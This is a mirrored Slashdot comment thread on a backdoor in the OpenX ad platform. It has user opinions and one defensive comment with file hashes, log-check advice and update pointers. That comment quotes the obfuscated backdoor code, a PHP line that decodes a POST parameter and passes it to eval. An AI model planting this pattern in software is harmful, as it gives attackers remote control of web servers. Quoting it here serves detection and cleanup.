Slashdot Mirror
Backdoor Found In OpenX Ad Platform
mask.of.sanity writes "A backdoor has existed for at least seven months in a platform sold by OpenX, the self-described global leader of digital advertising which counts the New York Post, Coca Cola, Bloomberg and EA among its customers. The backdoor was contained within the official OpenX package and recently removed. Security researchers say it meant those who downloaded the compromised software could have provided attackers full access to their web sites."
So pretty much Malware ads only with full websites Also EasyList Blocks the Sucuri site
People once told me 68K ram was all we needed,
OpenX makes an interesting example of a technically open-source project that fails to benefit from open-source much at all. It's GPL'd, but they don't support any kind of public development (no public revision-control systems or anything), and they even make you register to download the source. The page where you do so mostly just tries to convince you not to do so. A third-party site mirrors the open-source version for no-login downloads, but it seems just out of personal interest, since he's the developer of a predecessor to OpenX. It's not clear there is anybody who cares about this codebase or ever looks at it outside the company. Hence, technically open-source, but trying as hard as possible not to be.
10 PRINT CHR$(205.5+RND(1)); : GOTO 10
... its just a question of how long it takes - how many months or years - for the backdoor's existence to become public knowledge. ---- Once the backdoor is revealed to be there, of course, the whole thing is spun as an "unintentional software/system vulnerability". ---- Nobody ever admits that the backdoor was put where it is very much on purpose, and WITH/FOR a purpose... =) My 2 Cents...
Why did the chicken cross the road? Because Elon Musk put an AI chip in its head.
Cross domain advertising JavaScript is sooooo lame, it's required the removal of basic security implemented way back in browsers and opened the door to all kinds of miscreant behavior. I despise the Internet as a vehicle of advertising commerce.
The Internet was conceived to share ideas and information, everything else is utter BS in the name of money grubbing.
Did you ever wake up in the morning, with a Zombie Woof behind your eyes? -- FZ
Yes, Openx is a banner ad management and delivery system.
Solving Unix problems since 1989...
"Security researchers say it meant those who downloaded the compromised software could have provided attackers full access to their web sites."
"Security researchers say it meant those who downloaded the compromised software undoubtedly provided attackers full access to their web sites."
There...fixed that for you.
I've calculated my velocity with such exquisite precision that I have no idea where I am.
I'll take ads I can block over Geocities websites with five fonts, eight colors and blink tags.
PlusFive Slashdot reader for Android. Can post comments.
It is fixed in 2.8.11
http://forum.openx.org/index.php?showtopic=503521628 has openx's response.
Quick check on your servers by going to the openx base directory and doing an md5:
md5sum \
plugins/deliveryLog/vastServeVideoPlayer/flowplayer/3.1.1/flowplayer-3.1.1.min.js \
plugins/deliveryLog/vastServeVideoPlayer/player.delivery.php \
lib/max/Delivery/common.php
These md5's match the problem files:
558c80e601fb996e5f6bbc99a9ee0051 plugins/deliveryLog/vastServeVideoPlayer/flowplayer/3.1.1/flowplayer-3.1.1.min.js
fa4991d5fd3bf4a947b6ab0b15ce10b2 plugins/deliveryLog/vastServeVideoPlayer/player.delivery.php
5014c31b479094c0b32221ae1f1473ac lib/max/Delivery/common.php
flowplayer-3.1.1.min.js is the important one.
It has
$j='explode';
$_=$j(',','strrev,str_rot13,vastPlayer');
eval($_[1]($_[0]($_POST[$_[2]])));
obfuscated in it.
The flowerplayer-3.1.1min.js file shouldn't have changed since 2.8.9. So if you have an older version, you can just drop that into place over top of the one you currently have (just make sure it doesn't have the php tag in it). My unexploited copy from the last version was dated 7-17-2012 and has the following md5
8570c9bbdd01bef2c812270e68a306b5 flowplayer-3.1.1.min.js
The update is here or if you log in to your openx administrator panel, it should show by switching to the 'Administrator' in the upper right dropdown, going to 'configuration' and to the 'product updates' section in the left hand bar.
Finding out if someone actually used it on your server would require grepping through your logs for a post to fc.php and flow player-3.1.1.min.js. (I didn't see any requests for it on my servers, so I'm guessing there's not an automated scanner for it yet).
I had already blocked all ads served by openx servers (by URL regexp) long before this, after a couple of bad happenings on ad sites running openx.
It apparently is an unreliable platform. This finding only proves that.
However, I also think the ad platforms should make 5 steps back to become credible and acceptable again.
An ad server should be called from some customer-specific URL on the website and then serve a JPG or PNG with the ad. Period.
All the hoopla with javascripts fetched from different places, iframes, active content (like flash) etc has made it into an unreliable
piece of junk that just asks for being blocked. When I block it, they should not blame me but blame themselves.